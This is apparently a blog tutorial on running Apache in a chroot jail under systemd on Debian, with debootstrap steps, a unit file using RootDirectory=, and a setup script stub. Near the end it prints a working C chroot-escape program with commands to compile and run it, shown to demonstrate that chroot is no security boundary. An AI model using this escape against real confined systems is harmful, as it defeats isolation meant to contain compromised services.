Index ¦ Archives ¦ Atom

Running Apache in a Chroot Jail using systemd

On SysVinit based systems you can easily start a service inside a chroot jail since the execution context is inherited from the shell used to invoke the init script. With systemd that's not the case. Daemons are invoked in a clean and predictable context. Systemd does offer options for isolation though, one of which is RootDirectory=

The distribution used is Debian Stretch, but it should work the same on other systemd-based distributions. Check your package manager for debootstrap.

Let's start by bootstrapping an OS directory tree for our chroot jail and installing apache.

# cd /var/local/
# mkdir apache_jail
# debootstrap stretch apache_jail/
# chroot apache_jail
# apt update; apt install apache2

Now we need a unit file which starts apache inside the chroot jail. For this we copy and modify the existing apache2 unit file in Debian:

# cat > /etc/systemd/system/apache2-jailed.service
[Unit]
Description=The Apache HTTP Server
After=network.target remote-fs.target nss-lookup.target

[Service]
Type=forking
Environment=APACHE_STARTED_BY_SYSTEMD=true
ExecStart=/usr/sbin/apachectl start
ExecStop=/usr/sbin/apachectl stop
ExecReload=/usr/sbin/apachectl graceful
#PrivateTmp=true
Restart=on-abort
RootDirectory=/var/local/apache_jail
ExecStartPre=/usr/local/bin/setup-apache2-jailed.sh
RootDirectoryStartOnly=yes

[Install]
WantedBy=multi-user.target

RootDirectory= is the path to the chroot jail. ExecStartPre= allows us to run a script before ExecStart= to set up the environment and RootDirectoryStartOnly= makes it so ExecStartPre= gets run before the chroot() system call.

Let's create the setup script:

# cat > /usr/local/bin/setup-apache2-jailed.sh
#!/bin/bash
### prepare the environment before apache starts. mounts, etc.

Modify it to your needs. You should now be able to start apache using systemctl start apache2-jailed. You can check if the apache processes are running in the chroot jail with ls -l /proc/*/root

And now we are done!

Except there is one little problem. Apache is running as root and it's trivially easy to escape a chroot jail for the root user. You can try out the following code to see for yourself [1].

# cat > escape_jail.c
#include <sys/stat.h>
#include <unistd.h>

int main() {
    mkdir(".42", 0755);
    chroot(".42");
    chroot("../../../../../../../../../../../../../../../..");
    return execl("/bin/sh", "-i", NULL);
}

# gcc -static -o escape_jail escape_jail.c
# mv escape_jail /var/local/apache_jail/
# chroot /var/local/apache_jail/
# ./escape_jail

You should now have escaped the chroot jail.

This method is great if you want to run apache in its own environment for management reasons, for example if you want to run a version other than provided by your distribution's package management, but pretty useless as a security feature.

For the next installment we will look at other systemd features to improve isolation and ask ourselves why we didn't use LXC in the first place.

[1]Code by Filippo Valsorda
[2]Lennart Poettering's blog
[3]docs

© Henryk Iwaniuk. Built using Pelican. Theme by Giulio Fidente on github.